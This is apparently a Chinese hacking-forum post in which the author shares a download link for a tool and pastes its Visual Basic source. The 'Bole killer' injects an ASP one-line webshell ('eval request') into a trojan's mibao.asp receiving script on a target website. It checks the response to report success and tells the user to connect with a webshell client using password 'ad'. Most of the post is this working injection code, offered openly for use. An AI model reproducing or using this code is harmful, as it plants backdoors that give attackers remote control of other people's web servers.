很久前写的一个程序了
当时伯乐木马很泛滥的时候在师傅“小珂”指导下写的，今天闲逛EST发现有人PM我要这份代码
就翻了下硬盘找了下，把完整代码和编译好的，修改后的LIN.ASP一起发上来
程序里有一段广告和QQ，大家就不要去加了，之前的一个朋友帮我的。
源码下载地址：http://forum.eviloctal.com/viewthread.php?tid=33302&page=1&fromuid=947#pid144177
再贴一段原来搞的伯乐杀手的代码。现在都很少人用这收信程序了。
Private Sub Command1_Click()
Inet1.OpenURL (Text1.Text + “/mibao.asp?action=put&u=3&pos=3<%25eval request(%22%61%64%22) %25>&mb=3&p=3″) ‘用inet连接网页
aa = InStr(Inet1.GetHeader, “404″) ‘判断页头是否包含字符“404”,返回0则不包含，否则返回其位置
If aa <> 0 Then ‘页头中包含404
MsgBox “木马插入失败！”, 48, “失败！” ‘则说明该网页不存在
Else ‘如果页头中不包含“404”
MsgBox “木马插入成功！”, 64, “恭喜！” ‘说明网页存在
Command2.Enabled = True
End If
End Sub
Private Sub Command2_Click()
If Text2.Text = Text1.Text + “/mibaoaa.asp” Then
MsgBox “已经存在！请不要重复此操作！”, 16, “error！”
Else
Text2.Text = Text1.Text + “/mibaoaa.asp”
MsgBox “请使用一句话木马客户段连接！密码ad！”, 64, “成功！”
Text2.Visible = True
End If
End Sub
Private Sub Command3_Click()
End
End Sub
顶